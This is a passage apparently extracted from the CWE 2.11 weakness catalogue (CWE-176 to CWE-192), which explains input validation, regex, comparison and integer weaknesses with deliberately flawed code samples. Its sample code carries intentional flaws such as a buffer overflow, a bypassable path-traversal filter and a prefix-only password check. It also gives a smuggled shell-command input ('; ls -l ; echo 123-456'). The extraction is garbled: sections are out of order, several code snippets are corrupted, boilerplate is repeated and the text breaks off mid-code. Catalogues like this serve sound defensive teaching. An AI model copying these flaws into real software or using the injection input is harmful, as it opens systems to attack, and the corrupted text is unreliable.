  - Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  - When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  - Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation
Implementation

Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation

Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-176: Improper Handling of Unicode Encoding

Weakness ID: 176 (Weakness Variant) Status: Draft

Description

Summary
The software does not properly handle when an input contains Unicode encoding.

Time of Introduction

• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Integrity
Unexpected state

Demonstrative Examples

Windows provides the MultiByteToWideChar(), WideCharToMultiByte(), UnicodeToBytes(), and BytesToUnicode() functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

C Example:

```c
void getUserInfo(char *username, struct _USER_INFO_2 info){
    WCHAR unicodeUser[UNLEN+1];
    MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
    NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}
```

This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)*sizeof(WCHAR) bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

Potential Mitigations

Architecture and Design

Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.
CWE-178: Improper Handling of Case Sensitivity

Description

Summary
The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

Extended Description
Improperly handled case sensitive data can lead to several possible consequences, including:
- case-insensitive passwords reducing the size of the key space, making brute force attacks easier
- bypassing filters or access controls using alternate names
- multiple interpretation errors using alternate names.

Time of Introduction
- Implementation

Applicable Platforms
- Languages
  - All

Common Consequences
- Access Control
- Bypass protection mechanism

Demonstrative Examples
In the following example, an XSS neutralization method replaces script tags in user supplied input with a safe equivalent:

Java Example:
```java
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

The code only works when the "script" tag is in all lower-case, forming an incomplete blacklist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

Observed Examples

Potential Mitigations

Architecture and Design

Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementations

Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-179: Incorrect Behavior Order: Early Validation

<table>
<thead>
<tr>
<th>Weakness ID: 179 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary
The software validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.

Extended Description
Software needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.

Time of Introduction
• Implementation

Applicable Platforms

Languages

Modes of Introduction
Since early validation errors usually arise from improperly implemented defensive mechanisms, it is likely that these will be introduced more frequently as secure programming becomes implemented more widely.

Common Consequences
Access Control
Integrity
Bypass protection mechanism
Execute unauthorized code or commands
An attacker could include dangerous input that bypasses validation protection mechanisms which can be used to launch various attacks including injection attacks, execute arbitrary code or cause other unintended behavior.

Demonstrative Examples

Example 1:
The following code attempts to validate a given input path by checking it against a whitelist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Java Example:

```java
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
```
CWE Version 2.11
CWE-179: Incorrect Behavior Order: Early Validation

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicalized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

**Java Example:**

```java
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

**Example 2:**

This script creates a subdirectory within a user directory and sets the user as the owner.

**PHP Example:**

```php
function createDir($userName, $dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName,'..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '" because other scripts identify user directories by this prefix
    $dirName = str_replace('".','',$dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir,$userName);
}
```

While the script attempts to screen for '...' sequences, an attacker can submit a directory path including "~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

CWE-180: Incorrect Behavior Order: Validate Before Canonicalize

| Weakness ID: 180 (Weakness Base) | Status: Draft |

Description

Summary

The software validates input before it is canonicalized, which prevents the software from detecting data that becomes invalid after the canonicalization step.

Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

Bypass protection mechanism
Demonstrative Examples

The following code attempts to validate a given input path by checking it against a whitelist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

Java Example:  

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of "/safe_dir/../" that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonicalized the path would become just "/".

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

Java Example:  

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

### CWE-181: Incorrect Behavior Order: Validate Before Filter

**Weakness ID:** 181 *(Weakness Base)*

#### Description

**Summary**

The software validates data before it has been filtered, which prevents the software from detecting data that becomes invalid after the filtering step.

**Extended Description**

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

#### Alternate Terms

- Validate-before-cleanse

#### Time of Introduction

- Implementation

#### Applicable Platforms

- All

#### Common Consequences

- Access Control
  - Bypass protection mechanism

#### Demonstrative Examples

This script creates a subdirectory within a user directory and sets the user as the owner.

**PHP Example:**

```php
function createDir($userName, $dirName) {
    $userDir = '/users/.' . $userName;
    if (strpos($dirName, '..') !== false) {
        echo 'Directory name contains invalid sequence
        return;
    }
    // filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~', '.' , $dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir, $userName);
}
```

While the script attempts to screen for `..` sequences, an attacker can submit a directory path including `"~\", which will then become `.." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

#### Observed Examples
CWE Version 2.11

Potential Mitigations

Architecture and Design

Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumerical characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

CWE-184: Incomplete Blacklist

Weakness ID: 184 (Weakness Base) Status: Draft

352
**Description**

**Summary**
An application uses a "blacklist" of prohibited values, but the blacklist is incomplete.

**Extended Description**
If an incomplete blacklist is used as a security mechanism, then the software may allow unintended values to pass into the application logic.

**Time of Introduction**
- Implementation
- Architecture and Design

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Access Control
  - Bypass protection mechanism

**Detection Methods**

**Black Box**
Exploitation of incomplete blacklist weaknesses using the obvious manipulations might fail, but minor variations might succeed.

**Demonstrative Examples**
The following code attempts to stop XSS attacks by removing all occurrences of "script" in an input string.

**Java Example:**

```java
public String removeScriptTags(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

Because the code only checks for the lower-case "script" string, it can be easily defeated with upper-case script tags.

**Observed Examples**

<table>

<td>Chain: only removes SCRIPT tags, enabling XSS</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**Input Validation**
Combine use of blacklist with appropriate use of whitelists.
Implementation
Input Validation
Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you’re likely to miss some variants.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationship Notes
An incomplete blacklist frequently produces resultant weaknesses. Some incomplete blacklist issues might arise from multiple interpretation errors, e.g. a blacklist for dangerous shell metacharacters might not include a metacharacter that only has meaning in one particular shell, not all of them; or a blacklist for XSS manipulations might ignore an unusual construct that’s supported by one web browser, but not others.

CWE Version 2.11

CWE-185: Incorrect Regular Expression

CWE-185: Incorrect Regular Expression
Weakness ID: 185 (Weakness Class)

Status: Draft

Description

Summary
The software specifies a regular expression in a way that causes data to be improperly matched
or compared.

Extended Description
When the regular expression is used in protection mechanisms such as filtering or validation, this
may allow an attacker to bypass the intended restrictions on the incoming data.
Time of Introduction
• Implementation
Applicable Platforms

Languages

$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
# looks like it only has hyphens and digits
system("lookup-phone $phone");
}
else {
error("malformed number!");
}

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check,
since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.
Observed Examples
Reference
Description
CVE-2000-0115 Local user DoS via invalid regular expressions.
CVE-2001-1072 Bypass access restrictions via multiple leading slash, which causes a regular expression to
fail.
CVE-2002-1527 chain: Malformed input generates a regular expression error that leads to information
exposure.
CVE-2002-2109 Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have
trusted values as substrings.
CVE-2005-0603 Malformed regexp syntax leads to information exposure in error message.
CVE-2005-1061 Certain strings are later used in a regexp, leading to a resultant crash.
CVE-2005-1820 Code injection due to improper quoting of regular expression.
CVE-2005-1949 Regexp for IP address isn't anchored at the end, allowing appending of shell
metacharacters.
CVE-2005-2169 MFV. Regular expression intended to protect against directory traversal reduces ".../...//" to
"../".
CVE-2005-3153 Null byte bypasses PHP regexp check.

355

CWE-185: Incorrect Regular Expression

• Language-independent
Common Consequences
Other
Unexpected state
Varies by context
When the regular expression is not correctly specified, data might have a different format or type
than the rest of the program expects, producing resultant weaknesses or errors.
Access Control
Bypass protection mechanism
In PHP, regular expression checks can sometimes be bypassed with a null byte, leading to any
number of weaknesses.
Demonstrative Examples
The following code takes phone numbers as input, and uses a regular expression to reject invalid
phone numbers.
Perl Example:
Bad Code


CWE Version 2.11
CWE-186: Overly Restrictive Regular Expression

<table>

<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-4155</td>
<td>Null byte bypasses PHP regexp check.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Refactoring**

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.

<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>1323</td>
</tr>
</tbody>
</table>

**Relationship Notes**

While there is some overlap with whitelist/blacklist problems, this entry is intended to deal with incorrectly written regular expressions, regardless of their intended use. Not every regular expression is intended for use as a whitelist or blacklist. In addition, whitelists and blacklists can be implemented using other mechanisms besides regular expressions.

**Research Gaps**

Regexp errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.

CWE-187: Partial Comparison

Weakness ID: 187 (Weakness Base) Status: Incomplete

Description
Summary
The software performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

Extended Description
For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Integrity
Access Control
Alter execution logic
Bypass protection mechanism

Demonstrative Examples
This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches
the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

**C Example:**

```c
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
  if (strncmp(username, inUser, strlen(inUser))) {
    logEvent("Auth failure of username using strlen of inUser");
    return(AUTH_FAIL);
  }
  if (!strncmp(pass, inPass, strlen(inPass))) {
    logEvent("Auth success of password using strlen of inUser");
    return(AUTH_SUCCESS);
  } else {
    logEvent("Auth fail of password using sizeof");
    return(AUTH_FAIL);
  }
}
int main (int argc, char **argv) {
  int authResult;
  if (argc < 3) {
    ExitError("Usage: Provide a username and password");
  }
  authResult = AuthenticateUser(argv[1], argv[2]);
  if (authResult == AUTH_SUCCESS) {
    DoAuthenticatedTask(argv[1]);
  } else {
    ExitError("Authentication failed");
  }
}
```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application’s password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

```
Attack
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

**Observed Examples**

CWE-188: Reliance on Data/Memory Layout

Weakness ID: 188 (Weakness Base)  Status: Draft

Description

Summary
The software makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.

Extended Description
When changing platforms or protocol versions, data may move in unintended ways. For example, some architectures may place local variables A and B right next to each other with A on top; some may place them next to each other with B on top; and others may add some padding to each. The padding size may vary to ensure that each variable is aligned to a proper word size.

In protocol implementations, it is common to calculate an offset relative to another field to pick out a specific piece of data. Exceptional conditions, often involving new protocol versions, may add corner cases that change the data layout in an unusual way. The result can be that an implementation accesses an unintended field in the packet, treating data of one type as data of another type.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- C
- C++

Common Consequences
- Integrity
- Confidentiality
- Modify memory
- Read memory
  - Can result in unintended modifications or exposure of sensitive memory.

Likelihood of Exploit
- Low
CWE Version 2.11
CWE-189: Numeric Errors

Demonstrative Examples
In this example function, the memory address of variable b is derived by adding 1 to the address of variable a. This derived address is then used to assign the value 0 to b.

**C Example:**

```c
void example() {
    char a;
    char b;
    "(&a + 1) = 0;
}
```

Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they are aligned on 32-bit boundaries.

Potential Mitigations

Implementation
Architecture and Design
In flat address space situations, never allow computing memory addresses as offsets from another memory address.

Architecture and Design
Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).

Testing
Testing: Test that the implementation properly handles each case in the protocol grammar.

CWE-190: Integer Overflow or Wraparound

Weakness ID: 190 *(Weakness Base)*  Status: Incomplete

**Description**

**Summary**

The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.

**Extended Description**

An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.

**Terminology Notes**

"Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Availability**

DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: instability

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

**Integrity**

Modify memory

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

PLOVER  Numeric Errors
Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit
Medium

Detection Methods
Automated Static Analysis
High
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box
Moderate
Sometimes, evidence of this weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis
High
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Fuzz Tester
  Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Manual Source Code Review (not inspections)
Automated Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:

Highly cost effective:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Architectural Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:

Highly cost effective:
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
The following image processing code allocates a table for images.

C Example:
```c
struct img_t
{ /* struct containing img data, 10kB each */
    int num_imgs;
    ...
    num_imgs = get_num_imgs();
    table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
    ...
```
This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:
The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:

C Example:
```c
nresp = packet_get_int();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);
}
```
If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.

Example 3:
Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:

C Example:
```c
short int bytesRec = 0;
char buf[32768];
while(bytesRec < MAXGET) {
    bytesRec += getFromInput(buf+bytesRec);
}
```
In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf.

Example 4:
In this example the method determineFirstQuarterRevenue is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for
the first three months of the year, calculates the first quarter sales totals from the monthly sales
totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first
quarter revenue results to the database.

C Example:

```c
#define JAN 1
#define FEB 2
#define MAR 3
short getMonthlySales(int month) {...
float calculateRevenueForQuarter(short quarterSold) {...
int determineFirstQuarterRevenue() {
  // Variable for sales revenue for the quarter
  float quarterRevenue = 0.0f;
  short JanSold = getMonthlySales(JAN); /* Get sales in January */
  short FebSold = getMonthlySales(FEB); /* Get sales in February */
  short MarSold = getMonthlySales(MAR); /* Get sales in March */
  // Calculate quarterly total
  short quarterSold = JanSold + FebSold + MarSold;
  // Calculate the total revenue for the quarter
  quarterRevenue = calculateRevenueForQuarter(quarterSold);
  saveFirstQuarterRevenue(quarterRevenue);
  return 0;
}
```

However, in this example the primitive type short int is used for both the monthly and the quarterly
sales variables. In C the short int primitive type has a maximum value of 32768. This creates
a potential integer overflow if the value for the three monthly sales adds up to more than the
maximum value for the short int primitive type. An integer overflow can lead to data corruption,
unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate
primitive type should be used, as in the example below, and/or provide some validation mechanism
to ensure that the maximum value for the primitive type is not exceeded.

C Example:

```c
... float calculateRevenueForQuarter(long quarterSold) {...
int determineFirstQuarterRevenue() {
  ...
  // Calculate quarterly total
  long quarterSold = JanSold + FebSold + MarSold;
  // Calculate the total revenue for the quarter
  quarterRevenue = calculateRevenueForQuarter(quarterSold);
  ...
}
```

Note that an integer overflow could also occur if the quarterSold variable has a primitive type long
but the method calculateRevenueForQuarter has a parameter of type short.

Potential Mitigations

Requirements

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified
simply, and require strict conformance to the protocol.
Requirements

Language Selection
Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
If possible, choose a language or compiler that performs automatic bounds checking.

Architecture and Design

Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.
Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Implementation

Input Validation
Perform input validation on any numeric input by ensuring that it is within the expected range.
Enforce that the input meets both the minimum and maximum requirements for the expected range.
Use unsigned integers where possible. This makes it easier to perform sanity checks for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.

Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [R.190.3]
Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation

Compilation or Build Hardening
Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

CWE Version 2.11
CWE-192: Integer Coercion Error

C Example:

```c
#include <stdio.h>
#include <stdbool.h>
main (void)
{
    int i;
    i = -2147483648;
    i = i - 1;
    return 0;
}
```

The example has an integer underflow. The value of i is already at the lowest negative value possible, so after subtracting 1, the new value of i is 2147483647.

CWE-192: Integer Coercion Error

Category ID: 192 (Category) Status: Incomplete

Description

Summary

Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types.

Extended Description

Several flaws fall under the category of integer coercion errors. For the most part, these errors in and of themselves result only in availability and data integrity issues. However, in some circumstances, they may result in other, more complicated security related flaws, such as buffer overflow conditions.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• C
• C++
• Java
• .NET
**Common Consequences**

**Availability**
- DoS: resource consumption (CPU)
- DoS: resource consumption (memory)
- DoS: crash / exit / restart

Integer coercion often leads to undefined states of execution resulting in infinite loops or crashes.

**Integrity**

**Confidentiality**

**Availability**

**Execute unauthorized code or commands**

In some cases, integer coercion errors can lead to exploitable buffer overflow conditions, resulting in the execution of arbitrary code.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

**Example 1:**
The following code is intended to read an incoming packet from a socket and extract one or more headers.

**C Example:**

```c
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

**Example 2:**
The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.

**C Example:**

```c
int GetUntrustedInt () {
    return(0x0000FFFF);
}
void main (int argc, char **argv) {
    char path[256];
    char *input;
    int i;
```
short s;
unsigned int sz;
i = GetUntrustedInt();
s = i;
